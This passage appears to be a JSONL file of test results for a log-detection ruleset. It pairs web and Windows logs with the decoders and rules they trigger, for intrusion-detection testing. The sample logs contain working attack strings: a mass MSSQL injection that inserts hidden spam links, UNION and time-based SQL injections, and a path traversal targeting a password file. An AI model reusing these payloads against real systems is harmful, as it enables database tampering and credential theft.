"GET", "srcip": "10.0.0.5", "url": "example/shell.php?cmd="}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31514", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31514", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "Simple shell.php command execution."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"GET /phpMyAdmin/scripts/setup.php HTTP/1.1\" 404 4617 \"-\" \"Mozilla/15 (linux-gnu)\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "404", "protocol": "GET", "srcip": "10.0.0.5", "url": "/phpMyAdmin/scripts/setup.php"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31515", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31515", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "PHPMyAdmin scans (looking for setup.php)."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"GET /db/config.php.swp HTTP/1.1\" 404 4617 \"-\" \"Mozilla/15 (linux-gnu)\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "404", "protocol": "GET", "srcip": "10.0.0.5", "url": "/db/config.php.swp"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31516", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31516", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "Suspicious URL access."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"GET /db/config.php.bak HTTP/1.1\" 404 4617 \"-\" \"Mozilla/15 (linux-gnu)\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "404", "protocol": "GET", "srcip": "10.0.0.5", "url": "/db/config.php.bak"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31516", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31516", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "Suspicious URL access."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"GET /db/.htaccess HTTP/1.1\" 404 4617 \"-\" \"Mozilla/15 (linux-gnu)\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "404", "protocol": "GET", "srcip": "10.0.0.5", "url": "/db/.htaccess"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31516", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31516", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "Suspicious URL access."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"GET /server-status HTTP/1.1\" 404 4617 \"-\" \"Mozilla/15 (linux-gnu)\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "404", "protocol": "GET", "srcip": "10.0.0.5", "url": "/server-status"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31516", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31516", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "Suspicious URL access."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"GET /.ssh HTTP/1.1\" 404 4617 \"-\" \"Mozilla/15 (linux-gnu)\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "404", "protocol": "GET", "srcip": "10.0.0.5", "url": "/.ssh"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31516", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31516", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "Suspicious URL access."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"GET /.history HTTP/1.1\" 404 4617 \"-\" \"Mozilla/15 (linux-gnu)\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "404", "protocol": "GET", "srcip": "10.0.0.5", "url": "/.history"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31516", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31516", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "Suspicious URL access."} +{"log": "2014-12-20 21:34:37 W3SVC58 XXX-XXWEB-01 1.2.3.4 GET /search/programdetails.aspx id=3542&print=');declare%20@c%20cursor;declare%20@d%20varchar(4000);set%20@c=cursor%20for%20select%20'update%20%5B'%2BTABLE_NAME%2B'%5D%20set%20%5B'%2BCOLUMN_NAME%2B'%5D=%5B'%2BCOLUMN_NAME%2B'%5D%2Bcase%20ABS(CHECKSUM(NewId()))%257%20when%200%20then%20''''%2Bchar(60)%2B''div%20style=%22display:none%22''%2Bchar(62)%2B''abortion%20pill%20prescription%20''%2Bchar(60)%2B''a%20href=%22http:''%2Bchar(47)%2Bchar(47)%2BREPLACE(case%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''www.yeronimo.com@template''%20when%201%20then%20''www.tula-point.ru@template''%20else%20''blog.tchami.com@template''%20end,''@'',char(47))%2B''%22''%2Bchar(62)%2Bcase%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''online''%20when%201%20then%20''i%20need%20to%20buy%20the%20abortion%20pill''%20else%20''abortion%20pill''%20end%20%2Bchar(60)%2Bchar(47)%2B''a''%2Bchar(62)%2B''%20where%20to%20buy%20abortion%20pill''%2Bchar(60)%2Bchar(47)%2B''div''%2Bchar(62)%2B''''%20else%20''''%20end'%20FROM%20sysindexes%20AS%20i%20INNER%20JOIN%20sysobjects%20AS%20o%20ON%20i.id=o.id%20INNER%20JOIN%20INFORMATION_SCHEMA.COLUMNS%20ON%20o.NAME=TABLE_NAME%20WHERE(indid=0%20or%20indid=1)%20and%20DATA_TYPE%20like%20'%25varchar'%20and(CHARACTER_MAXIMUM_LENGTH=-1%20or%20CHARACTER_MAXIMUM_LENGTH=2147483647);open%20@c;fetch%20next%20from%20@c%20into%20@d;while%20@@FETCH_STATUS=0%20begin%20exec%20(@d);fetch%20next%20from%20@c%20into%20@d;end;close%20@c-- 80 - 173.201.216.6 HTTP/1.1 Mozilla/5.0+(Windows+NT+6.1;+WOW64;+rv:24.0)+Gecko/20100101+Firefox/24.0');declare+@c+cursor;declare+@d+varchar(4000);set+@c=cursor+for+select+'update+['+TABLE_NAME+']+set+['+COLUMN_NAME+']=['+COLUMN_NAME+']+case+ABS(CHECKSUM(NewId()))%7+when+0+then+''''+char(60)+''div+style=\"display:none\"''+char(62)+''abortion+pill+prescription+''+char(60)+''a+href=\"http:''+char(47)+char(47)+REPLACE(case+ABS(CHECKSUM(NewId()))%3+when+0+then+''www.yeronimo.com@template''+when+1+then+''www.tula-point.ru@template''+else+''blog.tchami.com@template''+end,''@'',char(47))+''\"''+char(62)+case+ABS(CHECKSUM(NewId()))%3+when+0+then+''online''+when+1+then+''i+need+to+buy+the+abortion+pill''+else+''abortion+pill''+end++char(60)+char(47)+''a''+char(62)+''+where+to+buy+abortion+pill''+char(60)+char(47)+''div''+char(62)+''''+else+''''+end'+FROM+sysindexes+AS+i+INNER+JOIN+sysobjects+AS+o+ON+i.id=o.id+INNER+JOIN+INFORMATION_SCHEMA.COLUMNS+ON+o.NAME=TABLE_NAME+WHERE(indid=0+or+indid=1)+and+DATA_TYPE+like+'%varchar'+and(CHARACTER_MAXIMUM_LENGTH=-1+or+CHARACTER_MAXIMUM_LENGTH=2147483647);open+@c;fetch+next+from+@c+into+@d;while+@@FETCH_STATUS=0+begin+exec+(@d);fetch+next+from+@c+into+@d;end;close+@c-- - http://google.com');declare+@c+cursor;declare+@d+varchar(4000);set+@c=cursor+for+select+'update+['+TABLE_NAME+']+set+['+COLUMN_NAME+']=['+COLUMN_NAME+']+case+ABS(CHECKSUM(NewId()))%7+when+0+then+''''+char(60)+''div+style=\"display:none\"''+char(62)+''abortion+pill+prescription+''+char(60)+''a+href=\"http:''+char(47)+char(47)+REPLACE(case+ABS(CHECKSUM(NewId()))%3+when+0+then+''www.yeronimo.com@template''+when+1+then+''www.tula-point.ru@template''+else+''blog.tchami.com@template''+end,''@'',char(47))+''\"''+char(62)+case+ABS(CHECKSUM(NewId()))%3+when+0+then+''online''+when+1+then+''i+need+to+buy+the+abortion+pill''+else+''abortion+pill''+end++char(60)+char(47)+''a''+char(62)+''+where+to+buy+abortion+pill''+char(60)+char(47)+''div''+char(62)+''''+else+''''+end'+FROM+sysindexes+AS+i+INNER+JOIN+sysobjects+AS+o+ON+i.id=o.id+INNER+JOIN+INFORMATION_SCHEMA.COLUMNS+ON+o.NAME=TABLE_NAME+WHERE(indid=0+or+indid=1)+and+DATA_TYPE+like+'%varchar'+and(CHARACTER_MAXIMUM_LENGTH=-1+or+CHARACTER_MAXIMUM_LENGTH=2147483647);open+@c;fetch+next+from+@c+into+@d;while+@@FETCH_STATUS=0+begin+exec+(@d);fetch+next+from+@c+into+@d;end;close+@c-- www.somesite.org 200 0 0 36560 3942 78", "decoder": "web-accesslog-iis6", "parent": "windows-date-format", "fields": {"id": "200", "srcip": "173.201.216.6", "url": "/search/programdetails.aspx id=3542&print=');declare%20@c%20cursor;declare%20@d%20varchar(4000);set%20@c=cursor%20for%20select%20'update%20%5B'%2BTABLE_NAME%2B'%5D%20set%20%5B'%2BCOLUMN_NAME%2B'%5D=%5B'%2BCOLUMN_NAME%2B'%5D%2Bcase%20ABS(CHECKSUM(NewId()))%257%20when%200%20then%20''''%2Bchar(60)%2B''div%20style=%22display:none%22''%2Bchar(62)%2B''abortion%20pill%20prescription%20''%2Bchar(60)%2B''a%20href=%22http:''%2Bchar(47)%2Bchar(47)%2BREPLACE(case%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''www.yeronimo.com@template''%20when%201%20then%20''www.tula-point.ru@template''%20else%20''blog.tchami.com@template''%20end,''@'',char(47))%2B''%22''%2Bchar(62)%2Bcase%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''online''%20when%201%20then%20''i%20need%20to%20buy%20the%20abortion%20pill''%20else%20''abortion%20pill''%20end%20%2Bchar(60)%2Bchar(47)%2B''a''%2Bchar(62)%2B''%20where%20to%20buy%20abortion%20pill''%2Bchar(60)%2Bchar(47)%2B''div''%2Bchar(62)%2B''''%20else%20''''%20end'%20FROM%20sysindexes%20AS%20i%20INNER%20JOIN%20sysobjects%20AS%20o%20ON%20i.id=o.id%20INNER%20JOIN%20INFORMATION_SCHEMA.COLUMNS%20ON%20o.NAME=TABLE_NAME%20WHERE(indid=0%20or%20indid=1)%20and%20DATA_TYPE%20like%20'%25varchar'%20and(CHARACTER_MAXIMUM_LENGTH=-1%20or%20CHARACTER_MAXIMUM_LENGTH=2147483647);open%20@c;fetch%20next%20from%20@c%20into%20@d;while%20@@FETCH_STATUS=0%20begin%20exec%20(@d);fetch%20next%20from%20@c%20into%20@d;end;close%20@c--"}, "field_names": ["id", "srcip", "url"], "rule": "31106", "level": "6", "expected_decoder": "web-accesslog-iis6", "expected_rule": "31106", "rule_matches_expected": true, "ini_file": "web_rules.ini", "section": "A web attack returned code 200 (success)."} +{"log": "2015-07-28 15:07:26 1.2.3.4 GET /QOsa/Browser/Default.aspx UISessionId=SN1234123&DeviceId=SN12312232SHARP+MX-4111N 80 - 31.3.3.7 OpenSystems/1.0;+product-family=\"85\";+product-version=\"123ER123\" 302 0 0 624", "decoder": "web-accesslog-iis-default", "parent": "windows-date-format", "fields": {"action": "GET", "id": "302", "srcip": "31.3.3.7", "srcport": "80", "url": "/QOsa/Browser/Default.aspx UISessionId=SN1234123&DeviceId=SN12312232SHARP+MX-4111N", "user_agent": "OpenSystems/1.0;+product-family=\"85\";+product-version=\"123ER123\""}, "field_names": ["action", "id", "srcip", "srcport", "url", "user_agent"], "rule": "31108", "level": "0", "expected_decoder": "web-accesslog-iis-default", "expected_rule": "31108", "rule_matches_expected": true, "ini_file": "web_rules.ini", "section": "A web page returned code 302 code"} +{"log": "2015-03-11 21:59:09 1.2.3.4 GET /console/faces/com_sun_web_ui/jsp/version/version_30.jsp - 80 - 31.3.3.7 Sun+Web+Console+Fingerprinter/7.15 - 404 0 2 0", "decoder": "web-accesslog-iis-default", "parent": "windows-date-format", "fields": {"action": "GET", "id": "404", "srcip": "31.3.3.7", "srcport": "80", "url": "/console/faces/com_sun_web_ui/jsp/version/version_30.jsp -", "user_agent": "Sun+Web+Console+Fingerprinter/7.15"}, "field_names": ["action", "id", "srcip", "srcport", "url", "user_agent"], "rule": "31101", "level": "5", "expected_decoder": "web-accesslog-iis-default", "expected_rule": "31101", "rule_matches_expected": true, "ini_file": "web_rules.ini", "section": "A web page returned code 404 (not found)"} +{"log": "2015-03-11 22:01:59 1.2.3.4 GET /CFIDE/adminapi/customtags/l10n.cfm attributes.id=test&attributes.file=../../administrator/mail/download.cfm&filename=../lib/password.properties&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=test 443 - 31.3.3.7 - - 404 0 2 0", "decoder": "web-accesslog-iis-default", "parent": "windows-date-format", "fields": {"action": "GET", "id": "404", "srcip": "31.3.3.7", "srcport": "443", "url": "/CFIDE/adminapi/customtags/l10n.cfm attributes.id=test&attributes.file=../../administrator/mail/download.cfm&filename=../lib/password.properties&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=test", "user_agent": "-"}, "field_names": ["action", "id", "srcip", "srcport", "url", "user_agent"], "rule": "31104", "level": "6", "expected_decoder": "web-accesslog-iis-default", "expected_rule": "31104", "rule_matches_expected": true, "ini_file": "web_rules.ini", "section": "A web attacked returned code 404"} +{"log": "Jan 11 10:13:05 web01 nginx: ::ffff:202.194.15.192 190.7.138.180 - [18/Oct/2010:10:48:55 -0500] \"GET //php-my-admin/config/config.inc.php?p=phpinfo(); HTTP/1.1\" 404 345 \"-\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\"", "decoder": "web-accesslog", "parent": "web-accesslog", "fields": {"id": "404", "protocol": "GET", "srcip": "190.7.138.180", "srcip2": "::ffff:202.194.15.192", "url": "//php-my-admin/config/config.inc.php?p=phpinfo();"}, "field_names": ["id", "protocol", "srcip", "srcip2", "url"], "rule": "31101", "level": "5", "expected_decoder": "web-accesslog", "expected_rule": "31101", "rule_matches_expected": true, "ini_file": "web_rules.ini", "section": "A web page returned code 404 (not found) - syslog format"} +{"log": "Jan 11 10:13:05 web01 nginx: 10.10.10.11 10.10.10.12 - - [10/Apr/2017:13:18:05 -0700] \"GET /injection/%0d%0aSet-Cookie HTTP/1.1\" 404 271 \"-\" \"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0\"", "decoder": "web-accesslog", "parent": "web-accesslog", "fields": {"id": "404", "protocol": "GET", "srcip": "10.10.10.12", "srcip2": "10.10.10.11", "url": "/injection/%0d%0aSet-Cookie"}, "field_names": ["id", "protocol", "srcip", "srcip2", "url"], "rule": "31104", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31104", "rule_matches_expected": true, "ini_file": "web_rules.ini", "section": "A web attacked returned code 404 - syslog format"} +{"log": "Jan 11 10:13:05 web01 apache: 10.11.12.13 - - - [27/Mar/2017:13:40:40 -0700] \"GET /modules.php?name=Search&type=stories&query=qualys&category=-1%20&categ=%20and%201=2%20UNION%20SELECT%200,0,aid,pwd,0,0,0,0,0,0%20from%20nuke_authors/* HTTP/1.0\" 404 982 \"-\" \"-\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "404", "protocol": "GET", "srcip": "10.11.12.13", "url": "/modules.php?name=Search&type=stories&query=qualys&category=-1%20&categ=%20and%201=2%20UNION%20SELECT%200,0,aid,pwd,0,0,0,0,0,0%20from%20nuke_authors/*"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31103", "level": "7", "expected_decoder": "web-accesslog", "expected_rule": "31103", "rule_matches_expected": true, "ini_file": "web_rules.ini", "section": "SQL Injection Attempt - syslog format"} +{"log": "www.example.com:80 1.1.1.1 - - [12/Mar/2019:10:09:09 +0000] \"GET /example?dir=asc&order=if(now()=sysdate()%2csleep(19.406)%2c0)/*'XOR(if(now()=sysdate()%2csleep(19.406)%2c0))OR'\\\"XOR(if(now()=sysdate()%2csleep(19.406)%2c0))OR\\\"*/&example=5101 HTTP/1.1\" 200 10869 \"https://www.example.com\" \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21\" \"-\" \"XIeFRRmu6BzGhDFQJ1K@HwAAAAs\"", "decoder": "web-accesslog", "parent": "web-accesslog", "fields": {"id": "200", "protocol": "GET", "srcip": "1.1.1.1", "url": "/example?dir=asc&order=if(now()=sysdate()%2csleep(19.406)%2c0)/*'XOR(if(now()=sysdate()%2csleep(19.406)%2c0))OR'\\\"XOR(if(now()=sysdate()%2csleep(19.406)%2c0))OR\\\"*/&example=5101"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31170", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31170", "rule_matches_expected": true, "ini_file": "web_rules.ini", "section": "SQL injection attempt"} +{"log": "www.example.com:80 1.1.1.1 - - [12/Mar/2019:10:09:12 +0000] \"GET /example?dir=asc&order=Mcd6Pr9F';select%20pg_sleep(9.703);%20--%20&example=5101 HTTP/1.1\" 200 10345 \"https://www.example.com\" \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21\" \"-\" \"XIeFSOin2ac7y0KragEaGwAAAAM\"", "decoder": "web-accesslog", "parent": "web-accesslog", "fields": {"id": "200", "protocol": "GET", "srcip": "1.1.1.1", "url": "/example?dir=asc&order=Mcd6Pr9F';select%20pg_sleep(9.703);%20--%20&example=5101"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31171", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31171", "rule_matches_expected": true, "ini_file": "web_rules.ini", "section": "SQL injection attempt-2"} +{"log": "{\"win\":{\"system\":{\"providerName\":\"Microsoft-Windows-TerminalServices-Gateway\",\"providerGuid\":\"{4D5AE6A1-C7B8-3E6D-B840-4D8029342E1B}\",\"eventID\":\"200\",\"version\":\"0\",\"level\":\"4\",\"task\":\"2\",\"opcode\":\"30\",\"keywords\":\"0x4020000001000000\",\"systemTime\":\"2023-01-25T20:56:39.141308000Z\",\"eventRecordID\":\"84771\",\"processID\":\"4672\",\"threadID\":\"1996\",\"channel\":\"Microsoft-Windows-TerminalServices-Gateway/Operational\",\"computer\":\"server.domain.com\",\"severityValue\":\"INFORMATION\",\"message\":\"The user \\\"DOM\\\\user\\\", on client computer \\\"172.16.63.71\\\", met connection authorization policy requirements and was therefore authorized to access the RD Gateway server. The authentication method used was: \\\"NTLM\\\" and connection protocol used: \\\"HTTP\\\".\"},\"eventInfo\":{\"username\":\"DOM\\\\user\",\"ipAddress\":\"172.16.93.71\",\"authType\":\"NTLM\",\"connectionProtocol\":\"HTTP\",\"errorCode\":\"0\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventInfo.authType": "NTLM", "win.eventInfo.connectionProtocol": "HTTP", "win.eventInfo.errorCode": "0", "win.eventInfo.ipAddress": "172.16.93.71", "win.eventInfo.username": "DOM\\user", "win.system.channel": "Microsoft-Windows-TerminalServices-Gateway/Operational", "win.system.computer": "server.domain.com", "win.system.eventID": "200", "win.system.eventRecordID": "84771", "win.system.keywords": "0x4020000001000000", "win.system.level": "4", "win.system.message": "The user \"DOM\\user\", on client computer \"172.16.63.71\", met connection authorization policy requirements and was therefore authorized to access the RD Gateway server. The authentication method used was: \"NTLM\" and connection protocol used: \"HTTP\".", "win.system.opcode": "30", "win.system.processID": "4672", "win.system.providerGuid": "{4D5AE6A1-C7B8-3E6D-B840-4D8029342E1B}", "win.system.providerName": "Microsoft-Windows-TerminalServices-Gateway", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2023-01-25T20:56:39.141308000Z", "win.system.task": "2", "win.system.threadID": "1996", "win.system.version": "0"}, "field_names": ["win.eventInfo.authType", "win.eventInfo.connectionProtocol", "win.eventInfo.errorCode", "win.eventInfo.ipAddress", "win.eventInfo.username", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.message", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "1002", "level": "2", "expected_decoder": "json", "expected_rule": "64105", "rule_matches_expected": false, "ini_file": "win-generic_rules.ini", "section": "TS Gateway login success"} +{"log": "{\"win\":{\"eventdata\":{\"serviceType\":\"user mode service\",\"accountName\":\"LocalSystem\",\"imagePath\":\"%systemroot%\\\\\\\\TQkHeboM.exe\",\"startType\":\"demand start\",\"serviceName\":\"uxoN\"},\"system\":{\"eventID\":\"7045\",\"eventSourceName\":\"Service Control Manager\",\"keywords\":\"0x8080000000000000\",\"providerGuid\":\"{555908d1-a6d7-4695-8e1e-26931d2012f4}\",\"level\":\"4\",\"channel\":\"System\",\"opcode\":\"0\",\"message\":\"\\\"A service was installed in the system.\\r\\n\\r\\nService Name: uxoN\\r\\nService File Name: %systemroot%\\\\TQkHeboM.exe\\r\\nService Type: user mode service\\r\\nService Start Type: demand start\\r\\nService Account: LocalSystem\\\"\",\"version\":\"0\",\"systemTime\":\"2021-06-25T18:33:57.953556700Z\",\"eventRecordID\":\"171981\",\"threadID\":\"9104\",\"computer\":\"bankdc.ExchangeTest.com\",\"task\":\"0\",\"processID\":\"544\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Service Control Manager\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.accountName": "LocalSystem", "win.eventdata.imagePath": "%systemroot%\\\\TQkHeboM.exe", "win.eventdata.serviceName": "uxoN", "win.eventdata.serviceType": "user mode service", "win.eventdata.startType": "demand start", "win.system.channel": "System", "win.system.computer": "bankdc.ExchangeTest.com", "win.system.eventID": "7045", "win.system.eventRecordID": "171981", "win.system.eventSourceName": "Service Control Manager", "win.system.keywords": "0x8080000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "544", "win.system.providerGuid": "{555908d1-a6d7-4695-8e1e-26931d2012f4}", "win.system.providerName": "Service Control Manager", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-06-25T18:33:57.953556700Z", "win.system.task": "0", "win.system.threadID": "9104", "win.system.version": "0"}, "field_names": ["win.eventdata.accountName", "win.eventdata.imagePath", "win.eventdata.serviceName", "win.eventdata.serviceType", "win.eventdata.startType", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.eventSourceName", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92650", "rule_matches_expected": false, "ini_file": "win_event_channel.ini", "section": "New Windows Service Created - root path execution"} +{"log": "{\"win\":{\"eventdata\":{\"subjectLogonId\":\"0x0\",\"targetLinkedLogonId\":\"0x0\",\"impersonationLevel\":\"%%1833\",\"ipAddress\":\"192.168.0.121\",\"authenticationPackageName\":\"Kerberos\",\"targetLogonId\":\"0x4cdcc9\",\"logonProcessName\":\"Kerberos\",\"logonGuid\":\"{C9208622-EB82-7047-0ED5-5FF1F674AC82}\",\"targetUserName\":\"Administrator\",\"keyLength\":\"0\",\"elevatedToken\":\"%%1842\",\"subjectUserSid\":\"S-1-0-0\",\"processId\":\"0x0\",\"ipPort\":\"49791\",\"targetDomainName\":\"EXCHANGETEST.COM\",\"targetUserSid\":\"S-1-5-21-887924094-598891991-956377308-500\",\"virtualAccount\":\"%%1843\",\"logonType\":\"3\"},\"system\":{\"eventID\":\"4624\",\"keywords\":\"0x8020000000000000\",\"providerGuid\":\"{54849625-5478-4994-A5BA-3E3B0328C30D}\",\"level\":\"0\",\"channel\":\"Security\",\"opcode\":\"0\",\"message\":\"\\\"An account was successfully logged on.\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-0-0\\r\\n\\tAccount Name:\\t\\t-\\r\\n\\tAccount Domain:\\t\\t-\\r\\n\\tLogon ID:\\t\\t0x0\\r\\n\\r\\nLogon Information:\\r\\n\\tLogon Type:\\t\\t3\\r\\n\\tRestricted Admin Mode:\\t-\\r\\n\\tVirtual Account:\\t\\tNo\\r\\n\\tElevated Token:\\t\\tYes\\r\\n\\r\\nImpersonation Level:\\t\\tImpersonation\\r\\n\\r\\nNew Logon:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-887924094-598891991-956377308-500\\r\\n\\tAccount Name:\\t\\tAdministrator\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST.COM\\r\\n\\tLogon ID:\\t\\t0x4CDCC9\\r\\n\\tLinked Logon ID:\\t\\t0x0\\r\\n\\tNetwork Account Name:\\t-\\r\\n\\tNetwork Account Domain:\\t-\\r\\n\\tLogon GUID:\\t\\t{C9208622-EB82-7047-0ED5-5FF1F674AC82}\\r\\n\\r\\nProcess Information:\\r\\n\\tProcess ID:\\t\\t0x0\\r\\n\\tProcess Name:\\t\\t-\\r\\n\\r\\nNetwork Information:\\r\\n\\tWorkstation Name:\\t\\r\\n\\tSource Network Address:\\t192.168.0.121\\r\\n\\tSource Port:\\t\\t49791\\r\\n\\r\\nDetailed Authentication Information:\\r\\n\\tLogon Process:\\t\\tKerberos\\r\\n\\tAuthentication Package:\\tKerberos\\r\\n\\tTransited Services:\\t-\\r\\n\\tPackage Name (NTLM only):\\t-\\r\\n\\tKey Length:\\t\\t0\\r\\n\\r\\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\\r\\n\\r\\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\\r\\n\\r\\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\\r\\n\\r\\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\\r\\n\\r\\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\\r\\n\\r\\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\\r\\n\\r\\nThe authentication information fields provide detailed information about this specific logon request.\\r\\n\\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\\r\\n\\t- Transited services indicate which intermediate services have participated in this logon request.\\r\\n\\t- Package name indicates which sub-protocol was used among the NTLM protocols.\\r\\n\\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\\\"\",\"version\":\"2\",\"systemTime\":\"2021-05-07T21:36:19.887424400Z\",\"eventRecordID\":\"1718492\",\"threadID\":\"1776\",\"computer\":\"bankdc.ExchangeTest.com\",\"task\":\"12544\",\"processID\":\"536\",\"severityValue\":\"AUDIT_SUCCESS\",\"providerName\":\"Microsoft-Windows-Security-Auditing\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.authenticationPackageName": "Kerberos", "win.eventdata.elevatedToken": "%%1842", "win.eventdata.impersonationLevel": "%%1833", "win.eventdata.ipAddress": "192.168.0.121", "win.eventdata.ipPort": "49791", "win.eventdata.keyLength": "0", "win.eventdata.logonGuid": "{C9208622-EB82-7047-0ED5-5FF1F674AC82}", "win.eventdata.logonProcessName": "Kerberos", "win.eventdata.logonType": "3", "win.eventdata.processId": "0x0", "win.eventdata.subjectLogonId": "0x0", "win.eventdata.subjectUserSid": "S-1-0-0", "win.eventdata.targetDomainName": "EXCHANGETEST.COM", "win.eventdata.targetLinkedLogonId": "0x0", "win.eventdata.targetLogonId": "0x4cdcc9", "win.eventdata.targetUserName": "Administrator", "win.eventdata.targetUserSid": "S-1-5-21-887924094-598891991-956377308-500", "win.eventdata.virtualAccount": "%%1843", "win.system.channel": "Security", "win.system.computer": "bankdc.ExchangeTest.com", "win.system.eventID": "4624", "win.system.eventRecordID": "1718492", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "536", "win.system.providerGuid": "{54849625-5478-4994-A5BA-3E3B0328C30D}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2021-05-07T21:36:19.887424400Z", "win.system.task": "12544", "win.system.threadID": "1776", "win.system.version": "2"}, "field_names": ["win.eventdata.authenticationPackageName", "win.eventdata.elevatedToken", "win.eventdata.impersonationLevel", "win.eventdata.ipAddress", "win.eventdata.ipPort", "win.eventdata.keyLength", "win.eventdata.logonGuid", "win.eventdata.logonProcessName", "win.eventdata.logonType", "win.eventdata.processId", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserSid", "win.eventdata.targetDomainName", "win.eventdata.targetLinkedLogonId", "win.eventdata.targetLogonId", "win.eventdata.targetUserName", "win.eventdata.targetUserSid", "win.eventdata.virtualAccount", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92651", "rule_matches_expected": false, "ini_file": "win_event_channel.ini", "section": "Successful Remote Logon"} +{"log": "{\"win\":{\"eventdata\":{\"subjectLogonId\":\"0x0\",\"targetLinkedLogonId\":\"0x0\",\"impersonationLevel\":\"%%1833\",\"ipAddress\":\"192.168.0.218\",\"authenticationPackageName\":\"NTLM\",\"lmPackageName\":\"NTLM 